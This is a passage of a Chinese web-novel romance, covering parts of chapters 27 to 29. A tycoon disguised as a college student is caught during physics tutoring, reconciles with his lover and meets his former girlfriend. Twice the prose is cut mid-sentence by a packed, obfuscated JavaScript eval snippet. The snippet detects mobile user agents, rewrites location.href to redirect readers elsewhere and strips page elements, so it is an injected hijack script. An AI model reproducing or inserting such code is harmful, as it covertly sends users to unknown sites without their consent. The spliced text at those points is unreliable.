这会儿正下课,乌泱泱的学生们都往食堂方向走,状元老师有辆炫酷的山地车,冲刺吃饭用的,但是没后座,因此不得不被迫陪这位开路虎揽胜来的笨学生步行在路上。 俩人并肩而行,话不投机半句多。 今天讲课效果不是很显著,状元老师使出浑身解数也没能令笨学生集中精力听课,因此心有愧疚,路上一个劲儿给笨学生介绍今年在各地将要举办的几场全国大学生物理比赛,含金量和难易程度从高到低,一一帮笨学生列举出来,还建议人去竞赛公众号和微博官网关注下。 笨学生听得脑瓜子嗡嗡的,突然就觉得,他还是回去集团做总裁比较好。 起码他烦了能说一句“行了,今天就到这儿吧”,底下人也没一个敢反驳。 “哦,对了,”状元老师冲他笑,“你上大二的话,咱俩年纪差不多吧?我不叫你学长,你也别叫我老师了,咱们互相称呼名字吧,我叫赵博,你呢?” 赵博? 这名字不好听。 两个字的名字都不好听。 笨学生伸出手,一本正经自我介绍:“我叫何湛程,湛蓝的湛,程序的程。” 赵博点头,也伸手和他握了一下,试探说:“那我叫你湛程吧。” 笨学生抗议道:“不行,得叫全名。” 赵博被他逗得一笑,说:“好,何湛程。” 赵博并不是学究派,为人开朗爱说笑,是运动系阳光帅哥,闲暇时也沉迷打游戏,属于高中时代那种会玩儿又会学的全能型学神。 此人家境也富裕,根本不差钱,肯抽时间做兼职,是因为某位家长拿着笨学生的一张打篮球的帅照找到物理系院长,院长又把这张帅照拿给赵博看,问他愿不愿意,赵博也不傻,他承认自己对这位英俊的学长有那么几分心动,于是认真准备了课件和讲义,仔细打扮一番就来了。 何湛程同学也和这个人相处的蛮舒服,寻思着,旧的不去新的不来,万一他能和这位德智体美劳的小状元发展发展,谁还会在意某个不识相的少爷呢? 午饭赵博请客,带何湛程同学去了全校最贵食堂,买了一份半只的香酥鸡、葱爆羊肉、炒西蓝花和地三鲜,荤素搭配完美,又要了份土豆炖牛腩。 赵博说这道菜里的牛肉很嫩,想让何湛程同学尝尝喜不喜欢。 赵博坐在餐桌对面,轻声问:“你喜欢吗?” 何湛程同学假装听不懂,专注埋头干饭,说:“还行。” 赵博笑:“我还挺喜欢的。” 何湛程同学却莫名有点烦躁。 他完全不知道自己在干什么。 堂堂擎荣集团身价数百亿的大总裁,办公室堆着一堆文件不处理,吃饱了撑得跑来大学里补习物理,还跟一个同性的男大学生谈情说爱,这他妈要让认识的人知道了,他戚老二的一世英名就全毁了! 正扒拉着饭,他猛然想起什么,有些紧张地问:“你们燕大的哲学系……是不是也在这个校区?” 他刚意识到,蒋灵在燕京大学做老师,他从前送她来上过几次班,她还领着他进来转了几圈。 赵博点点头,笑着打趣:“是啊,怎么,你现在又想学哲学了吗?” 他已经看出来了,这位学长英俊归英俊,但整个人完全就是一个迷茫的状态,对任何事都是三分钟热度,和小孩一样天真,学习也好,人生也好,根本没有任何目标。 可这个人态度如此强硬执着,根本不容任何人违拗。 “何湛程,”赵博本着严谨负责的态度说,“你不喜欢物理,对吧?你连最简单的加速度题目都做不出来,你怎么会喜欢物理呢?我现在的建议是,你需要沉静下来,多花点心思找回你自己,而不是要浪费时间和金钱在这些你不感兴趣的事情上,如果你坚持要学,有问题随时找我问,但我们这个课就上到今天了,回头我也会和院长说,这些都是我的问题,你无需和你的家里人交代,你看这样可以吗?” 何湛程同学埋头没吭声。 是因为赵博是学物理的么? 不然为什么这小子说话比他还要成熟稳重? 赵博轻轻拍了下他的手,语气和缓几分:“湛程,我没别的意思,每个人都会经历这种阶段,你不用着急,我们还可以再联系的,当然,如果你不愿意,我们可以做朋友。” 何湛程同学抬头盯他,一字一顿:“叫、我、何、湛、程。” 赵博失笑:“原来你这么保守吗?” 何湛程同学也被自己蠢笑了,轻啧一声,摸兜掏打火机,叼了根烟就要点燃:“可能吧,我本来挺放得开的。” 赵博忙提醒:“诶!这是食堂,禁止吸烟的!” 何湛程同学皱了下眉:“老子就——” 赵博端起餐盘就往外走,回头叫他:“反正吃差不多了,咱们走吧,我领你去个人少的地方抽。” 何湛程同学耷拉着脑袋,一手挎书包,一手端餐盘,闷头跟着人往外走。 尽管老师很好,但他今天体验感非常差劲,以后他再也不要踏进这个学校半步了。 赵博要领着他去参观校园的绿色景观。 其实就是小情侣们经常约会的小树林,微风拂过,竹叶潇潇,曲径幽深,颇有意境。 新冒绿芽的草坪上铺着羊肠小道,人造水池围绕着四五个小亭子建造,哗啦啦流淌着,浇灌在镜面光滑的岩石上,路旁错落摆着许多二人座的木椅,俩人经过时,碰到几对儿情侣在椅子上谈恋爱。 何湛程同学说不行,他不要来这儿抽烟,他要去一个没有爱情酸臭味、并且绝对不会有老师经过的地方。 赵博笑得不行,便领他去附近正在施工的一幢教学楼旁边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409036|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说那里有个便利店,他想请何湛程同学喝个饮料。 何湛程同学痞痞地叼着烟,书包往肩上一甩,阔步昂扬地就跟着人去了。 便利店这边环境不好,虽然施工场地在百米外,还有绿色的围挡物,但油漆路面坑坑洼洼,到处是挖掘机经过时遗留的沙土,空气沙尘颗粒度含量极高,何湛程同学站在垃圾桶旁吞云吐雾,好容易抽完一支烟,拎着书包和汽水和赵博一起进便利店坐着了。 “这是学校新盖的学生宿舍,”赵博跟他讲,“路面也要重新铺,当下住在附近的都是食堂阿姨清洁工保安这些,除了偶尔有校领导来视察,一般不会有学生和老师经过。” 何湛程同学“嗯”了声,喝了口汽水,低头扒拉着手机和秘书聊天。 他傍晚让茉莉帮他约了光子嫩肤,做一次可以帮人重返十七岁的那种,茉莉苦口婆心劝他,说他皮肤比她打过针的状态都好,真的没必要做,他虽然很高兴听到这种马屁,但…… 他就是想做。 非做不可!! 茉莉跟他汇报工作,顺便提了一嘴,说今早上董事长突然来公司找她打探情况,问她戚时最近有没有遇见什么人,还特地问的“特别的男人”,幸而戚时早有预料,茉莉按照他交代的,对董事长称“戚总私下的朋友,我不知情”。 戚时很欣慰茉莉的能干,不枉他隔三差五就请她吃饭喝酒送包送衣服的。 她那辆野马也是他送的,去年底,她委婉地说她和他管理公司的理念不太相符,想撂挑子跑路,第二天早他就放了把车钥匙在她桌上,她很识相地起身鞠躬,说:“不好意思戚总,昨天喝多了胡言乱语,谢谢您的车,我会好好干的”,然后一直留到了现在。 茉莉: —幸亏今天三少没来,不然董事长撞见了他,肯定一眼就能看出来 戚时盯着那句话,搁在屏幕上的手指纹发着汗,编辑了一条“他今天没来么”,又删除,没给她回复。 呵呵,想来是少爷在沪上和老情人温存完了才想起他戚老二,这一周回来燕京,少爷天天往他公司跑,从早蹲到晚,一待就是一整天,连楼下大堂前台都认识他了。 茉莉忙,没空天天接这种无聊的预约电话,干脆对底下人吩咐这是贵客,以后三少来,直接就让他上22层就是了。 反正总裁也不在。 戚时每天都会收到茉莉一条“今天三少早上八点半来,晚上九点半走”,还有每天午饭和晚饭,她带何老三去吃楼下不重样的餐厅,每中午1点,她让何老三去总裁办的休息室里午睡,还给何老三拿他自己常盖的毯子,下午四点左右,她为何老三准备清爽可口的茶点鲜果,晚上再打车送人回酒店。 戚时觉得,何老三还是把自己放在心上的。 可一想到许若林的存在,他又格外上火! 30%生许若林的气,70%生自己的气。 如果他像他哥那样聪明就好了,他哥一个二十年都没碰过物理知识的人,随口就能道出一道题来,简单题也是题,放他自己身上,念都不见得能念对。 今天那个人没来找他,是终于烦了吧。 挺好的。 戚时面无表情地关掉手机。 这是最好的结果,从此分道扬镳,他和他本就不该凑在一起。 “诶!今天上面来视察了!”旁边赵博拉他一下,引他看向窗外,“你看,就是那拨人,我就认识一个,戴蓝色安全帽的那个是我们副校长,他姓佟。” 戚时没兴趣领教燕大的高层人物,他才不管副校长姓铜还是姓铁,他把手机揣兜里,准备直接走人算了。 刚站起身,外面那群戴着黄色和蓝色安全帽的领导们走了过来,放眼望去,都是些高矮胖瘦不一的中老年男人们,一帮人谈笑风生地经过便利店外,他一瞥之下,精准捕捉到某个熟悉的身影,瞳孔倏地一震。 那人很高,眉目清冷,梳着三七分的背头,西装革履地走来,在众人拥簇尤为鹤立鸡群。 那人是个年轻人,没戴安全帽,两手气定神闲地插着裤兜,姣好的脸庞在太阳照耀下白得发光,旁边人围着他积极地讲述着什么,他面容淡淡,无甚兴致般,不时点头敷衍几声,比领导们还有领导风范。 心有灵犀一样,那人一双漠然的眼不经意瞥过来,隔着一道玻璃窗,和他对视上了。 一刹那,那人盯住了他,仿佛死掉的琥珀色深眸里浮起了笑意,美得如此癫狂又动人心魄。 戚时的大脑也霎间轰隆一声巨响! 完蛋了…… 他别过头,缓缓举起书包挡在自己脸前,掩耳盗铃般紧闭上了眼。 28. 第28章 “欸?那个没戴帽子的人好年轻啊!” 赵博还在一旁惊叹,伸手拽了下他袖子:“他朝咱们这边看过来了,你看,哇!真的好年轻啊!不知道是什么来头,居然能让我们校领导围着他转。” 戚时举书包死死地挡着脸,根本不敢睁眼,低声问:“他走了吗?” “没,”赵博伸脖子认真观察着,说,“他在和佟校长他们讲话。” “现在呢?”戚时紧张地问,“走了吗?” “没,他在和佟校长他们招手,好像在道别。” “道别,是走了的意思吗?” “对。” “走远没?” “没,”赵博说,“他一个人朝便利店这边过来了。” “艹!”戚时吓得差点心脏都停了,一把将赵博扒拉过来,自己埋头缩着身子蜷在最里边位子,让赵博在外面挡着他。 赵博终于察觉不对劲,扭头问身旁这位恨不得将头塞进桌墙缝里的某人:“怎么了,你认识他吗?” 戚时还没回,赵博身后就响起一道含笑的招呼声。 “朋友,身上没钱了,你能帮我去买个饮料吗?” 赵博回过头,望一眼站在他面前的年轻人。 赵博是富家子弟,也算是见过世面的人,他稍微一打量,就觉得这位年轻人不太像是某位视察工作的领导,倒像是位养尊处优的少爷。 而且,一定是那种很尊贵的少爷,虽然西装革履,但一身浓烈浪荡的纨绔气扑面而来,他站在那里,不是他自己,而是代表整个家族,才可以完全碾压一众领导们的官场气。 赵博很识相地起身打招呼,问:“行,你想喝点儿什么?” 年轻人一笑,下巴冲藏在墙角的某人桌面上抬了抬,说:“和他一样。” 赵博点点头,起身去里面帮他买饮料。 以及,他现在确信这两个人是认识的了。 戚时还在垂死挣扎,冷不丁肩上放上来一只手,身后人笑:“怎么了二哥,接着躲啊,看你下次逃到天涯海角,我还能不能找到你。” 戚时认命扭头,仰脸看对方一眼:“你、你怎么和他们校领导混在一起?” 对方笑得灿烂:“那你呢?你怎么穿成这样,还和一个大学生搞在一起?哦——,我知道了,原来二哥那天不是喜欢我,是喜欢我的衣服啊?” 戚时脸上唰地一红,整个人简直臊得无地自容,但不及他解释什么,赵博就拿着瓶汽水朝这边走来。 赵博递给对方汽水,然后扭头,伸手拍了下戚时的肩,笑问: “何湛程,不给我们互相介绍一下吗?” 对方拿过汽水,一脸疑惑地看向赵博:“你刚叫他什么?” 赵博笑得开朗:“何湛程啊!他不是叫何湛程吗!” 对方“哦”了一声,很快反应过来,眸底浮起浓浓的笑意,望向何湛程同学: “湛程,你这个小调皮,我还不知道你原来有个小名呢!” “小调皮”已经在汗流浃背了,大豆的汗珠从乌黑鬓角流淌下来,眼前一黑又一黑,耳根、脖子全都熟透了。 他闷闷地一声不吭,将脸全埋进掌心里,可着劲儿地搓,恨不得要把脸搓烂。 要不他去死吧! 他去死好了!! 他现在去死的话,一切问题都能迎刃而解了!!! “欸?”赵博惊讶,“他让你叫他后两个字吗?我刚才这样叫他,他还不让呢?” “没事儿,他总是这样,多吃点耗子药就好了。” 对方向赵博伸出手,自我介绍道:“我姓钱。” 赵博和他握手:“我是物理系的赵博,搏斗的博。” 对方点点头,也补充道:“我叫楠有,楠木的‘楠’,有没有的‘有’。” 赵博笑:“原来你叫钱楠有啊!” 说完,愣住在原地。 钱楠有,钱楠有。 这不就是前男友么? 赵博懵逼了,一颗头摇得跟拨浪鼓似的,一会儿看一眼钱楠有,一会儿又看看何湛程,一口伶牙俐齿突然变得吞吐起来:“你、你们两个……” 戚时一听这话,火气蹭地一下着起来了! 他也不臊了,猛地将书包摔到桌上,一把将赵博拉自己怀里,把人搂得紧紧的,然后一脸挑衅地瞪着钱楠有,对赵博大声说:“我跟他已经分手了!现在,是你跟我在谈!” 何湛程的笑容终于淡下去了。 他望着那人,眼底闪过一丝受伤,完全不受控的,心也跟着被刺了一下。 可他本来没有心的,他做任何事都那么任性随意,他永远是玩弄别人的掌控者,他是游戏人间的小蜜蜂啊。 他明明知道那人在胡说八道,但……他看那人今天穿得这么年轻,打扮成这样的阳光帅气,脚上还穿着他送他的球鞋,宽阔的肩膀背着干净的书包,头发清爽,爽朗的笑容,很平凡、很安静地坐在便利店和另外一个人谈情说爱喝汽水。 他本以为自己和那人永远错过的、回不去的少年光阴,那人就这样轻易地和另一个人度过,他就觉得…… 他就觉得,这个人才不是他的二哥呢。 他二哥那一晚喜欢他喜欢得要命,整个人都黏在他身上,粗糙的手掌到处揉他、捏他,痞痞地坏笑着,扣着指尖故意碰他的敏感地带,一颗毛茸茸的头钻进他颈窝里吹气逗他,怎么吻都吻不够他……二哥连吃醋逃走都要给他留一张“你早点休息”的纸条,多好啊。 他喜欢听这个男人用磁性低沉的嗓音叫他程儿,那种自来熟的北方腔调,仿佛他生来就是他的一样。 他不是他的。 这个世上,没有谁生来就是谁的。 “那,”他说,“我回家了。” 脚跟往后退了两步,低下头,谁也没看,他推门就往外走了。 吧台桌上,未打开的第三瓶汽水还冒着冷气。 今天很热,赵博发现前男友在外面晒了半天,脖颈里淌着细汗,特地给人拿得冰镇的汽水。 “那个……”不愧是练体育的,赵博被人摁在怀里动不了一点,他无奈抬头说:“你应该不是叫何湛程吧?你喜欢的人都走了,你还不赶紧去追吗?” 戚时将人一把推开,冷声道:“我才不喜欢他!” 赵博脾气倒好,叹了口气,重新坐回椅子上。 他拿过买给前男友的那瓶汽水,抬手,给眼前人递过去:“你要是不喜欢他,刚才就不会躲,还有,你想学物理也是为了讨他的喜欢吧?” 戚时蹙起眉:“你小子脑子咋长的?卖么?” 赵博干脆将汽水塞他手里,下巴冲外面一抬:“他还没走远,你快去吧,他一看见你就笑得那么开心,大概率不会因为你学不好物理就不要你。” 戚时出汗的掌心猛地一冰,他低头,既心疼那个人,又忍不住犹豫:“他……他看见谁都会笑得很开心,他是喜欢我,不止我,他喜欢很多人。” 赵博顿了顿,这一点有点儿超出他认知范围了。 想了想,说:“那,起码今天,你们两个可以在一块儿,不是吗?如果你不去找他,他就会去找别人,这样的话,你连他的今天都得不到,岂不是更可惜?” 戚时幡然顿悟:“艹!说真的,你这脑子卖么?!” 赵博笑得不行,推了他一下:“快去啊!” 戚时连忙揣好汽水又拎起书包,塞一张名片到他手里,头也不回就跑了。 “你小子有前途,有空打球叫我,我请你吃饭!” 赵博低头看名片: 戚时/擎荣集团CEO “真是的……”他遗憾地笑起来。 *** 大中午太阳底下,电话刚拨打过去,对方就接通了。 只是这次没再对自己滔滔不绝地诉说爱意,语气也主动保持了几分距离: “喂,程哥,你有事找我吗?” 何湛程一身西装热得不行,没走几步就躲进了阴凉竹林里,一边漫无目的地沿着羊肠小路走着,一边烦躁地扯下紧束的领带,随手丢进路旁垃圾桶。 “帮我定张回沪上的机票,越快越好,最好今天下午就走。” “行,”那边说,“需要我去接你吗?” “有空你就来接我,没空你帮我叫辆车,或者去我家随便拉个人来,你告诉他们,这次谁他妈要再敢装聋作哑不管我,我回家一个个弄死他们!” “程哥,你……你最近过得不顺吗?” “顺,怎么不顺?”何湛程咬牙切齿地狞笑,“刚甩了一个大渣男,我明天就紫微星照命立马转运!” “渣男?是那个大宝贝吗?” “不是,是那个大傻逼。” “好吧,唉,你先消消气,我马上帮你看票。” 何湛程挂了电话,抬手又解开衬衫的两颗扣子,这不知道走哪儿来了,刚才那群老头儿也没带他来这边,他不认识路,一不小心撞到好几对儿坐在椅子上亲嘴乱摸缠在一起的情侣,忍不住脾气上来,步伐愈快,生怕自己手痒了一人扇一巴掌,让这群发春的雌雄动物们赶紧滚回教室好好学习去! 真是该死,他也是太给戚老二脸了!他大哥给他签了支票,但银行卡那边还没吩咐解冻,他急着回来,也没找他大哥要点儿零花钱,现在渴得喉咙冒烟儿,连口水都买不着! 毕竟他和他大哥刚和好,关系上正尴尬着,他自认为花戚老二钱比花他大哥的要好些,也就没好意思跟人联系,今天陪那群老头逛了一上午校园,连口饭都没能吃上,饿肚子还好说,他渴了怎么解决? 但—— 他以后再花戚老二一分钱,他就不姓何! 许若林现在有钱了,但那二愣小子死心眼,万一给他转个千八百万的,他收了也心里也不痛快。 刚想掏手机找裴玉要点钱,才想起他总怕那小子吃了他,始终没加那人的联系方式。 当即打电话给茉莉,找她要裴玉手机号。 茉莉除了关于戚时的事情对他磨蹭外,其他办事效率都挺高的,当即给他发来电话号码,何湛程想也不想就拨通了。 “喂,你好。”那人声音是一如既往的温柔。 再一次听到那傻叉的动静,居然莫名有点感动。 还有几分说不清道不明的委屈。 何湛程举电话在耳边,低头沉默着,扑闪的睫毛就这样毫无道理的湿了。 “喂,你好?”电话那头问:“请问你是?” 何湛程吸吸鼻子,闷声道:“我是你祖宗。” “三少!”那边欣喜若狂惊呼出声:“你哪来的我手机号?时哥给的吗?” 何湛程脸一黑:“别提那傻逼。” 那边意识到什么,试探问:“你心情不好?” 何湛程清咳一声:“快点儿,想找你要点钱,不还的那种。” 裴玉笑了起来:“要多少?” 何湛程:“反正我快回家了,你看着给吧,我现在想买汽水喝。” “行,你加我下微信。” 俩人加上微信,何湛程才刚备注好姓名,裴玉就转账二十万过来,附一条: —我们三少受苦了 轰一声! 泪水如决堤洪水,汹涌澎湃夺眶而出。 这一个多月来,为了追求某个头脑简单四肢发达的狗男人,他又是挨欺负、又是干糙活、又是感冒高烧、又是屈尊求人、又是耐心蹲点求和好,忍辱负重,姿态一低再低,最后却连口肉都没能吃上,他可不是受苦了吗?!! 何湛程咬唇哽咽着,正要点收款,头顶冷不丁压上来一片阴影,一只熟悉的手伸了过来,塞给他一瓶冰镇汽水,然后夺走了他的手机。 二十万,一键退还! 何湛程一脸懵逼泪流满面地抬起头。 戚时将书包扔他旁边,居高临下两手叉腰,冷声道:“不许你花那小子的钱。” 然后拿着何湛程手机给裴玉发语音,一张脸拽得二五八万:“都说叫你甭管了,你该干嘛就干嘛去,他大哥是把他交给了我,不是交给了你,以后给老子懂点事儿!” 裴玉没回,大概也是无奈。 戚时拿出自己手机,俩手机操作着,一个付款,一个收款,一共给何湛程转了七十万过去,把手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409037|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还给对方,说:“花我的。” 何湛程恨恨一抹脸,扬手就把冰镇汽水投到十米远的水池里去了。 远处水花四溅,他声音冷漠:“滚。” 戚时充耳不闻,屈膝半蹲在他面前,紧紧握住了他两只手,仰脸笑哄:“你干嘛啊,明明是你先说是我前男友的,你还生气上了?” 本想赏人几个大耳光,没料对方早有预料,紧紧地握着他手,让他死活动不了。 何湛程通红着两眼,瞪他:“我他妈让你滚!” 戚时心疼人哭,忍不住抬起一只手替他擦泪:“饿了吗,你还没吃饭吧?我带你去吃饭,你想吃什么?” 何湛程毫不犹豫扬手往他脸上扇一巴掌! 啪的一声,清脆响亮,用尽一个常锻炼成年男性的全部力气。 戚时被扇得偏过头,左脸迅速肿起一个通红的大巴掌印,他却笑了。 舌尖拱了拱疼得发麻的腮帮子,他抬头问:“解气没?” 何湛程冷笑:“跟我卖可怜?你当我吃你苦肉计这套?滚!” 戚时笑得一脸宠溺:“我们程儿的脾气还真是不小啊?不错!有个性!”他超大声喊:“我喜欢!” 何湛程:“……” 戚时摸摸他沾湿的脸,倾身凑在他嘴唇上啄了一下:“崽儿,解气了咱就走吧,二哥带你去买汽水。” 何湛程不理他,一把夺过自己手机,三下五除二将对方刚存进去的七十万退了回去。 戚时愣了下:“怎么了?嫌少?” “我一向不花傻逼的钱。”何湛程起身就走。 戚时恨恨低声爆了句粗口。 何湛程没回头,本以为身后人马上又要爆炸发火,没料那傻大个儿拔腿就往水池子那边跑,大长腿镰刀似的在风中卷着,撸起袖子,弯腰在池子里捞了几下,把那瓶汽水给他捡回来了。 “给!”戚时一只手湿嗒嗒地递过来,臭着脸瞪他:“这是赵博给你买的,没花老子钱,你嘴都起皮了,赶紧喝一口!” 这下换何湛程愣了。 戚时替他拧开瓶盖,再次递了过来。 何湛程接过来,默不作声喝了两口。 冰饮甜丝丝的流淌进肠胃,凉意贯穿肺腑,怒气也随时消散。 是汽水,喝完喉咙里胀着密密麻麻的小气泡,他没忍住打了个嗝。 他不太自在地瞄向对方。 戚时别过脸,抬手挠两下脖子,一副想笑不敢笑的憋屈样儿。 俩人对视上,不约而同噗嗤笑出声了。 戚时逮住机会,飞快凑在他脸颊啵了一下,整个人贴近过来,揽臂搂住他腰,刻意压低的嗓音很性感:“领你去吃饭,想吃什么?” 何湛程咽咽吐沫,说:“想吃肉,各种肉。” 戚时垂下眼,将鼻尖贴在怀里人的鬓角轻轻嗅着,喉结来回滚动,声音也轻:“那,二哥给你烤肉吃?” 何湛程点点头:“行,再把二哥也烤了。” 戚时哈哈大笑,一把抄起书包抡肩上,另一手搂着人往校外走。 俩人有一搭没一搭地聊。 戚时问:“你怎么和他们校领导在一起?” 何湛程答:“我早上去你公司撞见戚铭了,没敢让他瞧见我,偷跟着他上楼,听他和茉莉说话,就知道你来这里上课了。” 戚时挑眉:“怎么不敢让他瞧见你?” 何湛程自顾自念念叨叨:“我以为你读商科,让那群老头儿带我转了两遍金融系大楼,你他妈的怎么和物理系的学生混在一起?” 戚时执着发话:“你先回答我。” 何湛程瞪他一眼:“这不是废话吗,你哥肯定不会让你跟我这样的人混在一起啊!” 戚时笑了,手掌在人肩头狠揉了两把,心情不错:“怕什么!老子就爱跟你一起混,他才管不了我!” 何湛程翻白眼:“屁,你什么都听你哥的,连读硕都——” 戚时纳闷:“你怎么知道?” 何湛程分寸不让:“你管我怎么知道?该你回答我了。” 戚时试图蒙混过关:“回答什么?” 何湛程一字一顿地重复:“你、怎、么、跟、物、理、系、的、人、混、在、一、起。” “哦,”戚时挠了下脖子,说,“我喜欢读物理,我从小的梦想就是成为一名物理学家!” 何湛程狐疑地瞥他一眼:“是么?” 戚时爽声笑:“对啊!” 何湛程猝不及防发问:“两个共点力的大小分别为3N和8N,这两个共点力的合力F的大小范围是?” 戚时:“……” 何湛程笑眯眯的:“你说啊!” 戚时面无表情别过脸,装作听不见的样子。 “是5N≤F≤11N。” 何湛程好像发现什么好玩儿的事情,一双眼亮得发光,瞬间亢奋起来,冲人兴冲冲道:“诶,那我再考你一个:真空中两个静止的点电荷,相距为r时库仑力大小为F,若保持r不——唔!” 戚时急遽猛烈的吻堵住了他的唇,整个人压上来,将他抵到路旁的树干上。 那人强势的舌在他口腔内疯狂搅动,带着某种难言的怨恨,淡淡烟草味混杂着汽水味,大手铁钳一样,狠命地掐着他腰,另一手摁着他后脑勺,强行迫使他与他接吻,不允许他再出声说话,更不准他喘息! 戚老二的吻技一次比一次精湛,何湛程陶醉其中,可亲到最后,他憋得受不了,并且严重怀疑这傻大个儿要谋财害命。 “滚开啊,”何湛程使出吃奶的劲儿将人推开一点,不耐烦地嚷道:“我他妈要被你亲死了!” 戚时踉跄两步,一言不发脸色沉沉地盯着他。 何湛程抬手一抹嘴,皱眉瞪他:“你有病吧?” 戚时像被触发某种机关,紧绷发僵的面容突然松动了一下,然后,他像头怨气滔天的恶兽,再次扑过来掐着何湛程下巴,又要低头吻他。 何湛程眼前一黑,有点绝望地闭上眼,刚准备好接受命运的制裁,就听不远处响起一道惊讶的女声: “戚时,你怎么在这儿?” 29. 第29章 他和一个男孩儿在接吻。蒋灵想。 他甚至是主动的那一方,还吻得那么急切、热烈,被人家推开了还要死皮赖脸地扑上去,一双眼眸炽热汹涌,恨不得将那男孩儿拆吃入腹。 那个男孩虽然年轻,个子却极高,二人差不了几公分,男孩儿的头发抵他眉间……男孩简直漂亮得不像话。 小——傻——子。 哪里“小”了?蒋灵想。 他穿得那么青春洋溢,像个十来岁的少年,他背着书包混进学校里,是因为在和那个学生谈恋爱吧?蒋灵想。 她明明可以视而不见,明明可以一声不吭低头从他身后走过去,但她还是打断了他的好事,让他和她都尴尬,他一定对她恨得牙痒痒。蒋灵想。 她不知道自己在做什么。 她早已对他死心,但她真的很好奇,能让他这么迷恋的人,究竟是个什么样的人? 蒋灵两手紧紧地攥着包,一袭紫色长裙飘着风里,长发披在身后,定定地站在原地望着他们。 他们—— 何湛程偏头看一眼那女人,又回头看戚时。 傻大个儿一见那女人,浑身长满虱子似的,立马埋头钻他肩窝里,低声催促:“走,快走,你掩护我!” 何湛程一笑,逗他:“诶,这是你准备要结婚的那位?那个大学老师?” “是也不是,”戚时压声说,“这个事儿比较复杂,我回头再跟你解释,咱们先走。” 何湛程来了兴致,错身一迈,反手拎着戚老二的衣领,强行拽着人朝蒋灵那边走过去。 “解释个屁,你不用给我解释,走,我前嫂子还在那儿等你呢,你躲什么躲?” 戚时今天已经丢过一次脸了,他根本无颜面对江东父老,更不想面对前女友,低声警告道:“别乱来,给我留点儿面子!” “放心,有本少爷在,你还用得着怕掉面子?” 宽阔油漆大道上,路人车辆来来往往,三方这般尴尬地会晤。 何湛程面带微笑,一手拽着试图逃走的某人后衣领,另一手向女人伸出:“嫂子好,我叫何湛程。” 戚时扭头瞪他一眼。 蒋灵不太自在地笑,伸手和他握了一下,解释道:“我们已经分手了,你别误会,你叫我蒋灵就好了。” 何湛程也笑:“哦,是么?我以为你在我俩亲嘴儿的时候突然喊我二哥名字,是想听我叫你嫂子呢?” 蒋灵猛地抽回手,脸上是火辣辣的烫,立刻由七分的不自在转化成一百分的难堪。 然后转头就瞪向戚时。 戚时低头死命抠着书包带,憋得肩膀一耸一耸的,想笑又不敢笑。 何湛程哈哈一笑,伸手在她眼前打了个响指,将她目光吸引回来:“蒋老师你别介意,我开玩笑啦!我和二哥要去吃饭,你一起么?” 戚时立马在底下轻踢了他一脚。 蒋灵自然看到了,脸上冷冷的:“不用了,我现在吃不下。” 何湛程关怀道:“是因为看到我们俩了才吃不下吗?” 蒋灵笑容可亲:“或许吧。” 何湛程“哎呀”一声,说:“那可惜了,蒋老师你这是刚下课吗?” 蒋灵撩了下头发,面不改色地上下打量着他,微微抬起下巴,显露出几分长辈的倨傲:“是啊,你呢?你是哪个系的学生?穿成这样,是在参加什么活动吗?” 何湛程两手一插兜,笑得坦然:“没,我不是这儿的学生,我只是来视察一下我家老爷子给你们学校捐的两栋大楼,看看佟校长他们喜不喜欢。” “艹?”戚时唰地扭头看他,惊讶道:“真的假的?” 何湛程一挑眉:“不然呢?你以为我怎么进来的?爬墙吗?” “啊,”蒋灵对捐楼那件事略有耳闻,微微诧异道,“你是何氏集团的……” “何澜是我爹,何闽轩是我大哥。”何湛程脱口而出他行走江湖百试百灵的装逼万能神句,成功在对方脸上看到惊异乃至震撼的神色。 何湛程笑眯眯的:“蒋老师现在看到我,可以吃得下饭了吗?” 蒋灵不理他这茬,扭头问戚时:“你呢?你一个擎荣的总裁,穿成这样也是来视察的?” 戚时张了张嘴,死脑子斟酌了半天,也想不出个借口。 “我、我是来学物……” “他是来找我的。”何湛程打断道,挡在人身前,冲她笑,“我家二哥比较粘人,老想着找我谈恋爱,我平时工作忙,顾不上他,电话接不着还总是关机,开会的时候也老是没信号,他夜里想我想得睡不着,就算发一百条、一千条信息也得不到回复,每天早起晚睡到处打探我消息,今天好容易知道我在这儿,才穿成这样追到这里了。” 蒋灵扯扯嘴角,看向戚时:“你还不承认,你原来这么喜欢他。” 戚时心里酸涩,瞄了眼身旁人。 身旁人却并没有和他对视,清冷的眉眼,目光淡淡地望向远处地平线,看热闹的人来车往在路尽头处凝成一个个黑色小点,不知道在想些什么。 戚时眉头一紧。 他没有回答蒋灵的话,但—— 何湛程不想知道他的回答么? 他突然想到刚才在便利店和何湛程对视上的那一秒。 那一秒之前,这个被人群拥簇着的、衣着光鲜的少爷,无感乏味的表情就像死人一样,谁也掀不起他内心丝毫的涟漪。 何湛程本身没有任何情绪,是周围的人和事刺激他,他才能动了起来。 这个人是被迫有了喜怒哀乐。 这个人也没那么在乎他。 蒋灵走了。 临走前,她经过他身旁,还算好脾气地祝福:“以后就别犯浑了,你这么孤单,需要一个长时间作伴的。” 她原来知道他孤单。 他点点头:“你也是,下回挑个好的,他要是像我这样欺负你,你找我,我替你收拾他。” 她气得一笑,走了。 他回过头,没敢牵人手,搂了下何湛程的肩,说:“走吧,咱们去吃饭。” 何湛程回过神儿,四下张望伸脖子找人:“诶,嫂子呢?” 戚时没好气一笑,提溜起他耳朵,说:“在这儿。” 